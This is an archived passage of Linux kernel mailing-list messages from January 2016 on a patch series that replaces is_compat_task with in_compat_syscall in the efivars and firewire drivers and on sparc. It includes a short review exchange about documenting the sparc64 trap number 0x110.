List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:30483 gmane.linux.ports.parisc:26445 gmane.linux.ports.mips.general:52533 gmane.linux.ports.sparc:22248
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/30483>

This should make no difference on any architecture, as x86's
historical is_compat_task behavior really did check whether the
calling syscall was a compat syscall.  x86's is_compat_task is going
away, though.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 drivers/firmware/efi/efivars.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/firmware/efi/efivars.c b/drivers/firmware/efi/efivars.c
index 756eca8c4cf8..21c3b2016b2d 100644
--- a/drivers/firmware/efi/efivars.c
+++ b/drivers/firmware/efi/efivars.c
@@ -231,7 +231,7 @@ sanity_check(struct efi_variable *var, efi_char16_t *name, efi_guid_t vendor,
 
 static inline bool is_compat(void)
 {
-	if (IS_ENABLED(CONFIG_COMPAT) && is_compat_task())
+	if (IS_ENABLED(CONFIG_COMPAT) && in_compat_syscall())
 		return true;
 
 	return false;
-- 
2.5.0


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 11/16] firewire: Use in_compat_syscall to check ioctl compatness
Date: Mon, 25 Jan 2016 14:24:25 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <35556b0fffab7a629e9a4e1115480ee5bfb5263a.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760917 25332 80.91.229.3 (25 Jan 2016 22:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:28:37 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:28:27 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpcY-000712-CQ
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:28:26 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:40814 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011552AbcAYW2WFpV-U (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:28:22 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:28:06 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37349 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011559AbcAYWYyrKkyI (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:54 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 6A037203B1;
        Mon, 25 Jan 2016 22:24:53 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id A8658203AC;
        Mon, 25 Jan 2016 22:24:52 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51371
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52534 gmane.linux.kernel.cross-arch:30484 gmane.linux.ports.parisc:26446 gmane.linux.ports.sparc:22249
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52534>

Firewire was using is_compat_task to check whether it was in a
compat ioctl or a non-compat ioctl.  Use is_compat_syscall instead
so it works properly on all architectures.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 drivers/firewire/core-cdev.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/firewire/core-cdev.c b/drivers/firewire/core-cdev.c
index 36a7c2d89a01..aee149bdf4c0 100644
--- a/drivers/firewire/core-cdev.c
+++ b/drivers/firewire/core-cdev.c
@@ -221,7 +221,7 @@ struct inbound_phy_packet_event {
 #ifdef CONFIG_COMPAT
 static void __user *u64_to_uptr(u64 value)
 {
-	if (is_compat_task())
+	if (in_compat_syscall())
 		return compat_ptr(value);
 	else
 		return (void __user *)(unsigned long)value;
@@ -229,7 +229,7 @@ static void __user *u64_to_uptr(u64 value)
 
 static u64 uptr_to_u64(void __user *ptr)
 {
-	if (is_compat_task())
+	if (in_compat_syscall())
 		return ptr_to_compat(ptr);
 	else
 		return (u64)(unsigned long)ptr;
-- 
2.5.0




From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 02/16] sparc/compat: Provide an accurate
 in_compat_syscall implementation
Date: Mon, 25 Jan 2016 14:51:08 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20160125.145108.1332641183366177944.davem@davemloft.net>
References: <cover.1453759363.git.luto@kernel.org>
	<cover.1453759363.git.luto@kernel.org>
	<e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1453762282 14186 80.91.229.3 (25 Jan 2016 22:51:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:51:22 +0000 (UTC)
Cc: akpm@linux-foundation.org, viro@zeniv.linux.org.uk,
	torvalds@linux-foundation.org, x86@kernel.org,
	linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
	cmetcalf@ezchip.com, linux-parisc@vger.kernel.org,
	linux-mips@linux-mips.org, sparclinux@vger.kernel.org
To: luto@kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 25 23:51:13 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aNpya-0001it-EB
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Jan 2016 23:51:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933024AbcAYWvL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Jan 2016 17:51:11 -0500
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:52360 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932257AbcAYWvK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Jan 2016 17:51:10 -0500
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id DAFC65A6A72;
	Mon, 25 Jan 2016 14:51:08 -0800 (PST)
In-Reply-To: <e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 25 Jan 2016 14:51:09 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26447 gmane.linux.kernel.cross-arch:30485 gmane.linux.ports.mips.general:52539 gmane.linux.ports.sparc:22250
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26447>

From: Andy Lutomirski <luto@kernel.org>
Date: Mon, 25 Jan 2016 14:24:16 -0800

> On sparc64 compat-enabled kernels, any task can make 32-bit and
> 64-bit syscalls.  is_compat_task returns true in 32-bit tasks, which
> does not necessarily imply that the current syscall is 32-bit.
> 
> Provide an in_compat_syscall implementation that checks whether the
> current syscall is compat.
> 
> As far as I know, sparc is the only architecture on which
> is_compat_task checks the compat status of the task and on which the
> compat status of a syscall can differ from the compat status of the
> task.  On x86, is_compat_task checks the syscall type, not the task
> type.
> 
> Signed-off-by: Andy Lutomirski <luto@kernel.org>

Acked-by: David S. Miller <davem@davemloft.net>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH v2 02/16] sparc/compat: Provide an accurate
 in_compat_syscall implementation
Date: Tue, 26 Jan 2016 07:29:51 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20160126062951.GA17107@ravnborg.org>
References: <cover.1453759363.git.luto@kernel.org>
 <e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1453789822 22810 80.91.229.3 (26 Jan 2016 06:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Jan 2016 06:30:22 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andy Lutomirski <luto@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Jan 26 07:30:08 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aNx8g-0007ad-Ox
	for lnx-sparclinux@plane.gmane.org; Tue, 26 Jan 2016 07:30:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755890AbcAZGaC (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 26 Jan 2016 01:30:02 -0500
Original-Received: from asavdk4.altibox.net ([109.247.116.15]:56759 "EHLO
	asavdk4.altibox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755833AbcAZG37 (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 26 Jan 2016 01:29:59 -0500
Original-Received: from ravnborg.org (unknown [188.228.89.252])
	(using TLSv1.2 with cipher AES256-SHA (256/256 bits))
	(No client certificate requested)
	by asavdk4.altibox.net (Postfix) with ESMTPS id 070EE802E0;
	Tue, 26 Jan 2016 07:29:52 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
User-Agent: Mutt/1.5.24 (2015-08-30)
X-CMAE-Score: 0
X-CMAE-Analysis: v=2.1 cv=OIGHpXuB c=1 sm=1 tr=0
	a=Ij76tQDYWdb01v2+RnYW5w==:117 a=Ij76tQDYWdb01v2+RnYW5w==:17
	a=L9H7d07YOLsA:10 a=9cW_t1CCXrUA:10 a=s5jvgZ67dGcA:10 a=kj9zAlcOel0A:10
	a=VwQbUJbxAAAA:8 a=ncVs1cyC0FsadXMmyMIA:9 a=CjuIK1q_8ugA:10
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22255 gmane.linux.kernel.cross-arch:30491 gmane.linux.ports.parisc:26448 gmane.linux.ports.mips.general:52545
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/22255>

On Mon, Jan 25, 2016 at 02:24:16PM -0800, Andy Lutomirski wrote:
> On sparc64 compat-enabled kernels, any task can make 32-bit and
> 64-bit syscalls.  is_compat_task returns true in 32-bit tasks, which
> does not necessarily imply that the current syscall is 32-bit.
> 
> Provide an in_compat_syscall implementation that checks whether the
> current syscall is compat.
> 
> As far as I know, sparc is the only architecture on which
> is_compat_task checks the compat status of the task and on which the
> compat status of a syscall can differ from the compat status of the
> task.  On x86, is_compat_task checks the syscall type, not the task
> type.
> 
> Signed-off-by: Andy Lutomirski <luto@kernel.org>
> ---
>  arch/sparc/include/asm/compat.h | 6 ++++++
>  1 file changed, 6 insertions(+)
> 
> diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
> index 830502fe62b4..5467404857fc 100644
> --- a/arch/sparc/include/asm/compat.h
> +++ b/arch/sparc/include/asm/compat.h
> @@ -307,4 +307,10 @@ static inline int is_compat_task(void)
>  	return test_thread_flag(TIF_32BIT);
>  }
>  
> +static inline bool in_compat_syscall(void)
> +{
> +	return pt_regs_trap_type(current_pt_regs()) == 0x110;
Could you please add a comment about where 0x110 comes from.
I at least failed to track this down.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 02/16] sparc/compat: Provide an accurate
 in_compat_syscall implementation
Date: Mon, 25 Jan 2016 22:51:00 -0800 (PST)
Lines: 12
Approved: news@gmane.org
Message-ID: <20160125.225100.1932707129794761764.davem@davemloft.net>
References: <cover.1453759363.git.luto@kernel.org>
	<e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
	<20160126062951.GA17107@ravnborg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1453791076 11506 80.91.229.3 (26 Jan 2016 06:51:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Jan 2016 06:51:16 +0000 (UTC)
Cc: luto@kernel.org, akpm@linux-foundation.org,
	viro@zeniv.linux.org.uk, torvalds@linux-foundation.org,
	x86@kernel.org, linux-arch@vger.kernel.org,
	linux-s390@vger.kernel.org, cmetcalf@ezchip.com,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: sam@ravnborg.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jan 26 07:51:08 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1aNxT1-0001aY-M9
	for glka-linux-arch@plane.gmane.org; Tue, 26 Jan 2016 07:51:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755016AbcAZGvF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 26 Jan 2016 01:51:05 -0500
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:55461 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754376AbcAZGvE (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 26 Jan 2016 01:51:04 -0500
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id C960F594E64;
	Mon, 25 Jan 2016 22:51:02 -0800 (PST)
In-Reply-To: <20160126062951.GA17107@ravnborg.org>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 25 Jan 2016 22:51:03 -0800 (PST)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:30492 gmane.linux.ports.parisc:26449 gmane.linux.ports.mips.general:52546 gmane.linux.ports.sparc:22256
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/30492>

From: Sam Ravnborg <sam@ravnborg.org>
Date: Tue, 26 Jan 2016 07:29:51 +0100

> Could you please add a comment about where 0x110 comes from.
> I at least failed to track this down.

Frankly I'm fine with this.  Someone who understands sparc64 can look
at the trap table around entry 0x110 and see:

tl0_resv10e:	BTRAP(0x10e) BTRAP(0x10f)
tl0_linux32:	LINUX_32BIT_SYSCALL_TRAP
tl0_oldlinux64:	LINUX_64BIT_SYSCALL_TRAP

From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 02/16] sparc/compat: Provide an accurate
 in_compat_syscall implementation
Date: Tue, 26 Jan 2016 18:44:41 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20160126174441.GA18873@ravnborg.org>
References: <cover.1453759363.git.luto@kernel.org>
 <e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
 <20160126062951.GA17107@ravnborg.org>
 <20160125.225100.1932707129794761764.davem@davemloft.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1453830301 23795 80.91.229.3 (26 Jan 2016 17:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Jan 2016 17:45:01 +0000 (UTC)
Cc: luto@kernel.org, akpm@linux-foundation.org,
	viro@zeniv.linux.org.uk, torvalds@linux-foundation.org,
	x86@kernel.org, linux-arch@vger.kernel.org,
	linux-s390@vger.kernel.org, cmetcalf@ezchip.com,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 26 18:44:52 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aO7ff-0000MX-8V
	for glpp-linux-parisc@plane.gmane.org; Tue, 26 Jan 2016 18:44:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965068AbcAZRot (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Jan 2016 12:44:49 -0500
Original-Received: from asavdk4.altibox.net ([109.247.116.15]:37362 "EHLO
	asavdk4.altibox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932586AbcAZRos (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Jan 2016 12:44:48 -0500
Original-Received: from ravnborg.org (unknown [188.228.89.252])
	(using TLSv1.2 with cipher AES256-SHA (256/256 bits))
	(No client certificate requested)
	by asavdk4.altibox.net (Postfix) with ESMTPS id 8ACBA802DE;
	Tue, 26 Jan 2016 18:44:43 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20160125.225100.1932707129794761764.davem@davemloft.net>
User-Agent: Mutt/1.5.24 (2015-08-30)
X-CMAE-Score: 0
X-CMAE-Analysis: v=2.1 cv=OIGHpXuB c=1 sm=1 tr=0
	a=Ij76tQDYWdb01v2+RnYW5w==:117 a=Ij76tQDYWdb01v2+RnYW5w==:17
	a=L9H7d07YOLsA:10 a=9cW_t1CCXrUA:10 a=s5jvgZ67dGcA:10 a=kj9zAlcOel0A:10
	a=7gkXJVJtAAAA:8 a=5QF_Gm3nSdwT_-_sU7YA:9 a=CjuIK1q_8ugA:10
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26450 gmane.linux.kernel.cross-arch:30509 gmane.linux.ports.mips.general:52579 gmane.linux.ports.sparc:22271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26450>

On Mon, Jan 25, 2016 at 10:51:00PM -0800, David Miller wrote:
> From: Sam Ravnborg <sam@ravnborg.org>
> Date: Tue, 26 Jan 2016 07:29:51 +0100
> 
> > Could you please add a comment about where 0x110 comes from.
> > I at least failed to track this down.
> 
> Frankly I'm fine with this.  Someone who understands sparc64 can look
> at the trap table around entry 0x110 and see:
> 
> tl0_resv10e:	BTRAP(0x10e) BTRAP(0x10f)
> tl0_linux32:	LINUX_32BIT_SYSCALL_TRAP
> tl0_oldlinux64:	LINUX_64BIT_SYSCALL_TRAP

If one realise to look in the trap table in the first place - yes.

Adding a short:

/* Check if this is LINUX_32BIT_SYSCALL_TRAP */
Would make wonders to readability.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH v2 02/16] sparc/compat: Provide an accurate
 in_compat_syscall implementation
Date: Tue, 26 Jan 2016 09:48:29 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <CALCETrVaOC2=CC0bDoc-g2o+wjwaFfj+LAB7umrRMCHYwsk+Bg@mail.gmail.com>
References: <cover.1453759363.git.luto@kernel.org> <e520030f750b29d14486aa1e99c271a0fa18f19e.1453759363.git.luto@kernel.org>
 <20160126062951.GA17107@ravnborg.org> <20160125.225100.1932707129794761764.davem@davemloft.net>
 <20160126174441.GA18873@ravnborg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1453830546 28042 80.91.229.3 (26 Jan 2016 17:49:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Jan 2016 17:49:06 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	Andrew Lutomirski <luto@kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	X86 ML <x86@kernel.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	sparclinux@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Jan 26 18:48:56 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aO7jY-0002Wc-U3
	for lnx-sparclinux@plane.gmane.org; Tue, 26 Jan 2016 18:48:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967207AbcAZRsv (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 26 Jan 2016 12:48:51 -0500
Original-Received: from mail-lb0-f178.google.com ([209.85.217.178]:36226 "EHLO
	mail-lb0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964799AbcAZRsu (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 26 Jan 2016 12:48:50 -0500
Original-Received: by mail-lb0-f178.google.com with SMTP id dx2so5175763lbd.3
        for <sparclinux@vger.kernel.org>; Tue, 26 Jan 2016 09:48:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=amacapital-net.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=+tnkqbesXKiQwWs+C0i5+9fG8Xbb5ZP7bWVd6dOL1ZQ=;
        b=oFN0EvBKvXvavyIIDqvbDQ7JShZ/mNqefmUA3e5GkA2juwYojSdPLmA4wOWuXF8GmF
         61ohNsmKHxQyuo/vPT24a9tWt/1/5nmypdPdHq5UioXkGp7n88GLVnkvHwrfKk3XeTQJ
         lurjg2pBfqbXQbgT4CyNz2Jf7JS17NSpnLMa7X26B3bq089RSC8EnUuUl+QIeAlviJfc
         SoAcZQFKEX+zq352HEMtgIhqHc5UCkILFJvJPwY4ar0O1y58+D/oE1pbpswrPbzOlzEN
         PjzukIcsQUoY0NRy/rPKejKcpMp2ACFbJPoUYv0c6HX876Ma/jOqM+heWIgUfg26Di47
         QHFA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=+tnkqbesXKiQwWs+C0i5+9fG8Xbb5ZP7bWVd6dOL1ZQ=;
        b=UG1laSa2Xh14P/h6fAks8jD3jp8kHyY5ZMlHkYL7OFeugSUazSnk3DvGCWxQMA6/uS
         Flbo54zUXEiZtAITKgknmlB/jRHkDqQm5llRzDIr3r5dh+GohGK0DHWFyuz/EpsDUmV/
         I8IOxebfDbqa4wTdKpGiN9GHEPNKcbxpC2S5A336+elCIttfAqjKzJ58muD7nxNnmqbt
         37HnxKlWT7GboCwhYecRY+hg7NPJ9UR42IM80X1lMcnIiy+Jd3kLItyoc9DQ6zSUpMCw
